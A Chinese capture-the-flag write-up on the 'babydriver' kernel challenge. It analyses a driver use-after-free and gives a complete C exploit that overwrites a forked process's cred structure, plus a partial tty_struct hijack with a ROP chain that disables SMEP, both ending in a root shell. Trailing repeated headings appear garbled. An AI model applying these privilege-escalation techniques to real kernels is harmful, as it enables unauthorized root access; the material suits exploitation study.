内核堆漏洞利用：babydriver的两种解法详解<\/h1>

题目概述<\/h2>
babydriver是一个经典的内核堆漏洞利用题目，涉及UAF（Use-After-Free）漏洞。题目实现了一个字符设备驱动，存在全局变量共享问题，导致可以利用UAF漏洞进行权限提升。<\/p>

驱动功能分析<\/h2>

关键数据结构<\/h3>
驱动使用全局结构体babydev_struct<\/code>：<\/p>
struct<\/span> babydev_struct {
<\/span><\/span>    char<\/span> *<\/span>device_buf;
<\/span><\/span>    size_t device_buf_len;
<\/span><\/span>};
<\/span><\/span><\/code><\/pre>驱动函数分析<\/h3>
babyioctl函数<\/strong>：<\/p>
__int64<\/span> __fastcall<\/span> babyioctl<\/span>(file *<\/span>filp, unsigned<\/span> int<\/span> command, unsigned<\/span> __int64<\/span> arg)
<\/span><\/span>{
<\/span><\/span>    size_t size =<\/span> arg;
<\/span><\/span>    if<\/span> (command ==<\/span> 0x10001<\/span>) {
<\/span><\/span>        kfree(babydev_struct.device_buf);
<\/span><\/span>        babydev_struct.device_buf =<\/span> (char<\/span> *<\/span>)_kmalloc(size, 0x24000C0<\/span>);
<\/span><\/span>        babydev_struct.device_buf_len =<\/span> size;
<\/span><\/span>        return<\/span> 0<\/span>;
<\/span><\/span>    }
<\/span><\/span>    return<\/span> -<\/span>22<\/span>;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>
释放原有缓冲区并重新分配指定大小的内存<\/li>
更新全局指针和长度<\/li>
<\/ul>
babywrite函数<\/strong>：<\/p>
ssize_t __fastcall<\/span> babywrite<\/span>(file *<\/span>filp, const<\/span> char<\/span> *<\/span>buffer, size_t length, loff_t *<\/span>offset)
<\/span><\/span>{
<\/span><\/span>    if<\/span> (!<\/span>babydev_struct.device_buf) return<\/span> -<\/span>1<\/span>;
<\/span><\/span>    if<\/span> (babydev_struct.device_buf_len ><\/span> length) {
<\/span><\/span>        copy_from_user(babydev_struct.device_buf, buffer, length);
<\/span><\/span>        return<\/span> length;
<\/span><\/span>    }
<\/span><\/span>    return<\/span> -<\/span>2<\/span>;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>
将用户态数据拷贝到内核缓冲区<\/li>
<\/ul>
babyread函数<\/strong>：<\/p>
ssize_t __fastcall<\/span> babyread<\/span>(file *<\/span>filp, char<\/span> *<\/span>buffer, size_t length, loff_t *<\/span>offset)
<\/span><\/span>{
<\/span><\/span>    if<\/span> (!<\/span>babydev_struct.device_buf) return<\/span> -<\/span>1<\/span>;
<\/span><\/span>    if<\/span> (babydev_struct.device_buf_len ><\/span> length) {
<\/span><\/span>        copy_to_user(buffer, babydev_struct.device_buf, length);
<\/span><\/span>        return<\/span> length;
<\/span><\/span>    }
<\/span><\/span>    return<\/span> -<\/span>2<\/span>;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>
将内核缓冲区数据拷贝到用户态<\/li>
<\/ul>
babyopen函数<\/strong>：<\/p>
int<\/span> __fastcall<\/span> babyopen<\/span>(inode *<\/span>inode, file *<\/span>filp)
<\/span><\/span>{
<\/span><\/span>    babydev_struct.device_buf =<\/span> kmalloc(64<\/span>, GFP_KERNEL);
<\/span><\/span>    babydev_struct.device_buf_len =<\/span> 64<\/span>;
<\/span><\/span>    return<\/span> 0<\/span>;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>
分配64字节的堆缓冲区<\/li>
<\/ul>
babyrelease函数<\/strong>：<\/p>
int<\/span> __fastcall<\/span> babyrelease<\/span>(inode *<\/span>inode, file *<\/span>filp)
<\/span><\/span>{
<\/span><\/span>    kfree(babydev_struct.device_buf); \/\/ UAF漏洞点
<\/span><\/span><\/span><\/span>    return<\/span> 0<\/span>;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>
释放缓冲区但未清空全局指针<\/li>
<\/ul>
漏洞原理<\/h2>
UAF漏洞产生<\/h3>

打开设备时分配堆内存并设置全局指针<\/li>
关闭设备时释放堆内存但不清空指针<\/li>
后续操作仍可通过全局指针访问已释放的内存<\/li>
<\/ol>
关键利用点<\/h3>

全局变量babydev_struct<\/code>被所有文件描述符共享<\/li>
关闭设备后全局指针仍指向已释放的内存<\/li>
通过堆喷技术控制释放后的内存内容<\/li>
<\/ul>
解法一：cred结构体劫持<\/h2>
利用原理<\/h3>
通过UAF漏洞覆盖新进程的cred结构体，将uid\/gid改为0实现提权。<\/p>
详细步骤<\/h3>

打开两个设备描述符<\/strong><\/li>
<\/ol>
int<\/span> fd1 =<\/span> open("\/dev\/babydev"<\/span>, O_RDWR);
<\/span><\/span>int<\/span> fd2 =<\/span> open("\/dev\/babydev"<\/span>, O_RDWR);
<\/span><\/span><\/code><\/pre>
fd1<\/code>打开：分配内存A，全局指针指向A<\/li>
fd2<\/code>打开：分配内存B，全局指针指向B（覆盖A）<\/li>
<\/ul>

调整堆块大小<\/strong><\/li>
<\/ol>
ioctl(fd1, 0x10001<\/span>, 0xa8<\/span>);
<\/span><\/span><\/code><\/pre>
释放内存B<\/li>
重新分配0xa8字节的内存C（与cred结构体大小相同）<\/li>
全局指针指向C<\/li>
<\/ul>

释放堆块<\/strong><\/li>
<\/ol>
close(fd1);
<\/span><\/span><\/code><\/pre>
释放内存C<\/li>
此时全局指针仍指向已释放的内存C<\/li>
<\/ul>

创建新进程<\/strong><\/li>
<\/ol>
fork();
<\/span><\/span><\/code><\/pre>
新进程的cred结构体分配在内存C的位置<\/li>
由于内存C已被释放且被重用，新进程的cred与内存C重叠<\/li>
<\/ul>

修改cred<\/strong><\/li>
<\/ol>
char<\/span> buf[0x30<\/span>];
<\/span><\/span>memset(buf, 0<\/span>, 0x30<\/span>);
<\/span><\/span>write(fd2, buf, 0x30<\/span>);
<\/span><\/span><\/code><\/pre>
通过fd2<\/code>写入数据，实际修改的是内存C的内容<\/li>
由于内存C现在是新进程的cred，修改其uid\/gid为0<\/li>
<\/ul>

获取root权限<\/strong><\/li>
<\/ol>
system("\/bin\/sh"<\/span>);
<\/span><\/span><\/code><\/pre>完整利用代码<\/h3>
#include<\/span> <fcntl.h><\/span>
<\/span><\/span><\/span>#include<\/span> <stdio.h><\/span>
<\/span><\/span><\/span>#include<\/span> <stdlib.h><\/span>
<\/span><\/span><\/span>#include<\/span> <string.h><\/span>
<\/span><\/span><\/span>#include<\/span> <sys\/ioctl.h><\/span>
<\/span><\/span><\/span>#include<\/span> <sys\/wait.h><\/span>
<\/span><\/span><\/span>#include<\/span> <unistd.h><\/span>
<\/span><\/span><\/span><\/span>
<\/span><\/span>int<\/span> main<\/span>() {
<\/span><\/span>    int<\/span> fd1 =<\/span> open("\/dev\/babydev"<\/span>, O_RDWR);
<\/span><\/span>    int<\/span> fd2 =<\/span> open("\/dev\/babydev"<\/span>, O_RDWR);
<\/span><\/span>    
<\/span><\/span>    ioctl(fd1, 0x10001<\/span>, 0xa8<\/span>);
<\/span><\/span>    close(fd1);
<\/span><\/span>    
<\/span><\/span>    if<\/span> (fork() ==<\/span> 0<\/span>) {
<\/span><\/span>        char<\/span> buf[0x30<\/span>];
<\/span><\/span>        memset(buf, 0<\/span>, 0x30<\/span>);
<\/span><\/span>        write(fd2, buf, sizeof<\/span>(buf));
<\/span><\/span>        
<\/span><\/span>        if<\/span> (getuid() ==<\/span> 0<\/span>) {
<\/span><\/span>            system("\/bin\/sh"<\/span>);
<\/span><\/span>        }
<\/span><\/span>        exit(0<\/span>);
<\/span><\/span>    }
<\/span><\/span>    
<\/span><\/span>    wait(NULL);
<\/span><\/span>    return<\/span> 0<\/span>;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>解法二：tty结构体劫持<\/h2>
利用原理<\/h3>
通过UAF漏洞劫持tty结构体的操作函数指针，控制内核执行流实现提权。<\/p>
关键数据结构<\/h3>
tty_struct结构体<\/strong>：<\/p>
struct<\/span> tty_struct {
<\/span><\/span>    int<\/span> magic;
<\/span><\/span>    struct<\/span> kref kref;
<\/span><\/span>    struct<\/span> device *<\/span>dev;
<\/span><\/span>    struct<\/span> tty_driver *<\/span>driver;
<\/span><\/span>    const<\/span> struct<\/span> tty_operations *<\/span>ops;  \/\/ 关键：操作函数表指针
<\/span><\/span><\/span><\/span>    \/\/ ... 其他字段
<\/span><\/span><\/span><\/span>};
<\/span><\/span><\/code><\/pre>tty_operations结构体<\/strong>：<\/p>
struct<\/span> tty_operations {
<\/span><\/span>    int<\/span> (*<\/span>open)(struct<\/span> tty_struct *<\/span>tty, struct<\/span> file *<\/span>filp);
<\/span><\/span>    void<\/span> (*<\/span>close)(struct<\/span> tty_struct *<\/span>tty, struct<\/span> file *<\/span>filp);
<\/span><\/span>    int<\/span> (*<\/span>write)(struct<\/span> tty_struct *<\/span>tty, const<\/span> unsigned<\/span> char<\/span> *<\/span>buf, int<\/span> count);
<\/span><\/span>    int<\/span> (*<\/span>ioctl)(struct<\/span> tty_struct *<\/span>tty, unsigned<\/span> int<\/span> cmd, unsigned<\/span> long<\/span> arg);
<\/span><\/span>    \/\/ ... 其他函数指针
<\/span><\/span><\/span><\/span>};
<\/span><\/span><\/code><\/pre>利用步骤<\/h3>

准备ROP链<\/strong><\/li>
<\/ol>
size_t swapgs =<\/span> 0xffffffff81063694<\/span>;
<\/span><\/span>size_t iretq =<\/span> 0xffffffff814e35ef<\/span>;
<\/span><\/span>size_t p_rdi =<\/span> 0xffffffff810d238d<\/span>;
<\/span><\/span>size_t write_cr4 =<\/span> 0xffffffff810635b0<\/span>;
<\/span><\/span>
<\/span><\/span>u64 ROP[0x30<\/span>];
<\/span><\/span>int<\/span> i =<\/span> 0<\/span>;
<\/span><\/span>ROP[i++<\/span>] =<\/span> p_rdi;
<\/span><\/span>ROP[i++<\/span>] =<\/span> 0x6f0<\/span>;  \/\/ 原始cr4值
<\/span><\/span><\/span><\/span>ROP[i++<\/span>] =<\/span> write_cr4;  \/\/ 关闭SMEP
<\/span><\/span><\/span><\/span>ROP[i++<\/span>] =<\/span> (u64)getroot;  \/\/ 提权函数
<\/span><\/span><\/span><\/span>ROP[i++<\/span>] =<\/span> swapgs;  \/\/ 切换GS寄存器
<\/span><\/span><\/span><\/span>ROP[i++<\/span>] =<\/span> iretq;   \/\/ 返回用户态
<\/span><\/span><\/span>\/\/ ... 用户态寄存器值
<\/span><\/span><\/span><\/code><\/pre>
打开设备并触发UAF<\/strong><\/li>
<\/ol>
int<\/span> fd1 =<\/span> open("\/dev\/babydev"<\/span>, O_RDWR);
<\/span><\/span>int<\/span> fd2 =<\/span> open("\/dev\/babydev"<\/span>, O_RDWR);
<\/span><\/span>ioctl(fd2, 0x10001<\/span>, 0x2e0<\/span>);  \/\/ 分配tty大小
<\/span><\/span><\/span><\/span>close(fd2);  \/\/ 释放堆块
<\/span><\/span><\/span><\/code><\/pre>
伪造tty_operations<\/strong><\/li>
<\/ol>
struct<\/span> _tty_operations tty_operations;
<\/span><\/span>tty_operations.ioctl =<\/span> xchg_esp_eax;  \/\/ 栈迁移gadget
<\/span><\/span><\/span><\/code><\/pre>
堆喷tty对象<\/strong><\/li>
<\/ol>
int<\/span> tty_fds[100<\/span>];
<\/span><\/span>for<\/span> (int<\/span> i =<\/span> 0<\/span>; i <<\/span> 100<\/span>; i++<\/span>) {
<\/span><\/span>    tty_fds[i] =<\/span> open("\/dev\/ptmx"<\/span>, O_RDWR);
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>
修改释放的堆块<\/strong><\/li>
<\/ol>
char<\/span> buff[0x1000<\/span>];
<\/span><\/span>read(fd1, buff, 0x40<\/span>);  \/\/ 读取释放的堆块内容
<\/span><\/span><\/span><\/span>*<\/span>(u64 *<\/span>)(buff +<\/span> 3<\/span>*<\/span>8<\/span>) =<\/span> (u64)&<\/span>tty_operations;  \/\/ 修改ops指针
<\/span><\/span><\/span><\/span>write(fd1, buff, 0x40<\/span>);  \/\/ 写回修改后的内容
<\/span><\/span><\/span><\/code><\/pre>
触发漏洞<\/strong><\/li>
<\/ol>
for<\/span> (int<\/span> i =<\/span> 0<\/span>; i <<\/span> 100<\/span>; i++<\/span>) {
<\/span><\/span>    ioctl(tty_fds[i], 0<\/span>, 0<\/span>);  \/\/ 触发ioctl，执行ROP链
<\/span><\/span><\/span><\/span>}
<\/span><\/span><\/code><\/pre>完整利用代码框架<\/h3>
#define _GNU_SOURCE
<\/span><\/span><\/span>#include<\/span> <stdio.h><\/span>
<\/span><\/span><\/span>#include<\/span> <stdlib.h><\/span>
<\/span><\/span><\/span>#include<\/span> <string.h><\/span>
<\/span><\/span><\/span>#include<\/span> <sys\/ioctl.h><\/span>
<\/span><\/span><\/span>#include<\/span> <unistd.h><\/span>
<\/span><\/span><\/span>#include<\/span> <fcntl.h><\/span>
<\/span><\/span><\/span>#include<\/span> <sys\/mman.h><\/span>
<\/span><\/span><\/span><\/span>
<\/span><\/span>\/\/ 保存用户态寄存器
<\/span><\/span><\/span><\/span>size_t user_cs, user_ss, user_rflags, user_sp;
<\/span><\/span>void<\/span> save_status<\/span>() {
<\/span><\/span>    asm<\/span> volatile<\/span>(
<\/span><\/span>        "mov %%cs, %0;"<\/span>
<\/span><\/span>        "mov %%ss, %1;"<\/span>
<\/span><\/span>        "mov %%rsp, %2;"<\/span>
<\/span><\/span>        "pushf; pop %3;"<\/span>
<\/span><\/span>        :<\/span> "=r"<\/span>(user_cs), "=r"<\/span>(user_ss), "=r"<\/span>(user_sp), "=r"<\/span>(user_rflags)
<\/span><\/span>        :<\/span>
<\/span><\/span>        :<\/span> "memory"<\/span>
<\/span><\/span>    );
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>\/\/ 提权函数
<\/span><\/span><\/span><\/span>void<\/span> getroot<\/span>() {
<\/span><\/span>    void<\/span> (*<\/span>commit_creds)(void<\/span> *<\/span>) =<\/span> (void<\/span> *<\/span>)0xffffffff810a1420<\/span>;
<\/span><\/span>    void<\/span> *<\/span>(*<\/span>prepare_kernel_cred)(void<\/span> *<\/span>) =<\/span> (void<\/span> *<\/span>)0xffffffff810a1810<\/span>;
<\/span><\/span>    commit_creds(prepare_kernel_cred(0<\/span>));
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>void<\/span> get_shell<\/span>() {
<\/span><\/span>    if<\/span> (getuid() ==<\/span> 0<\/span>) {
<\/span><\/span>        printf("[+] Root shell achieved!<\/span>
<\/span><\/span>");<\/span>
<\/span><\/span>        system("\/bin\/sh"<\/span>);
<\/span><\/span>    } else<\/span> {
<\/span><\/span>        printf("[-] Failed to get root<\/span>
<\/span><\/span>");<\/span>
<\/span><\/span>        exit(-<\/span>1<\/span>);
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>int<\/span> main() {
<\/span><\/span>    save_status();
<\/span><\/span>    
<\/span><\/span>    \/\/ 打开设备
<\/span><\/span><\/span><\/span>    int<\/span> fd1 =<\/span> open("\/dev\/babydev"<\/span>, O_RDWR);
<\/span><\/span>    int<\/span> fd2 =<\/span> open("\/dev\/babydev"<\/span>, O_RDWR);
<\/span><\/span>    
<\/span><\/span>    \/\/ 触发UAF
<\/span><\/span><\/span><\/span>    ioctl(fd2, 0x10001<\/span>, 0x2e0<\/span>);
<\/span><\/span>    close(fd2);
<\/span><\/span>    
<\/span><\/span>    \/\/ 准备ROP链
<\/span><\/span><\/span><\/span>    u64 ROP[0x50<\/span>];
<\/span><\/span>    int<\/span> i =<\/span> 0<\/span>;
<\/span><\/span>    \/\/ ... ROP链构造
<\/span><\/span><\/span><\/span>    
<\/span><\/span>    \/\/ 堆喷和利用
<\/span><\/span><\/span><\/span>    \/\/ ... 完整利用代码
<\/span><\/span><\/span><\/span>    
<\/span><\/span>    return<\/span> 0<\/span>;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>关键技术点<\/h2>
堆布局控制<\/h3>

大小匹配<\/strong>：精确控制分配的内存大小与目标结构体一致<\/li>
时序控制<\/strong>：通过文件描述符操作顺序控制堆布局<\/li>
堆喷技术<\/strong>：大量分配对象增加命中概率<\/li>
<\/ol>
绕过保护机制<\/h3>

SMEP绕过<\/strong>：通过ROP链修改CR4寄存器<\/li>
KASLR绕过<\/strong>：通过内核符号泄露或暴力猜测<\/li>
堆随机化<\/strong>：通过大量堆喷提高成功率<\/li>
<\/ol>
调试技巧<\/h3>

内核符号获取<\/strong>：<\/li>
<\/ol>
cat \/proc\/kallsyms > \/tmp\/kallsyms
<\/span><\/span><\/code><\/pre>
QEMU启动优化<\/strong>：添加quiet<\/code>参数加快启动<\/li>
调试信息打印<\/strong>：通过printk<\/code>或用户态-内核态通信调试<\/li>
<\/ol>
总结<\/h2>
babydriver题目展示了内核堆漏洞利用的经典技术：<\/p>

UAF漏洞的识别和利用<\/li>
内核对象布局控制<\/li>
函数指针劫持和ROP技术<\/li>
多种提权路径的选择<\/li>
<\/ul>
两种解法各有特点：<\/p>

cred劫持<\/strong>：简单直接，适合初学者理解UAF原理<\/li>
tty劫持<\/strong>：技术含量更高，展示了更复杂的内核利用技术<\/li>
<\/ul>
通过深入分析这两种解法，可以全面掌握内核堆漏洞利用的关键技术和方法。<\/p>
内核堆漏洞利用：babydriver的两种解法详解<\/h1>

题目概述<\/h2> babydriver是一个经典的内核堆漏洞利用题目，涉及UAF（Use-After-Free）漏洞。题目实现了一个字符设备驱动，存在全局变量共享问题，导致可以利用UAF漏洞进行权限提升。<\/p>

驱动功能分析<\/h2>

漏洞原理<\/h2>

解法一：cred结构体劫持<\/h2>

利用原理<\/h3> 通过UAF漏洞覆盖新进程的cred结构体，将uid\/gid改为0实现提权。<\/p>

解法二：tty结构体劫持<\/h2>

利用原理<\/h3> 通过UAF漏洞劫持tty结构体的操作函数指针，控制内核执行流实现提权。<\/p>

关键技术点<\/h2>

题目概述<\/h2>
babydriver是一个经典的内核堆漏洞利用题目，涉及UAF（Use-After-Free）漏洞。题目实现了一个字符设备驱动，存在全局变量共享问题，导致可以利用UAF漏洞进行权限提升。<\/p>

利用原理<\/h3>
通过UAF漏洞覆盖新进程的cred结构体，将uid\/gid改为0实现提权。<\/p>

利用原理<\/h3>
通过UAF漏洞劫持tty结构体的操作函数指针，控制内核执行流实现提权。<\/p>
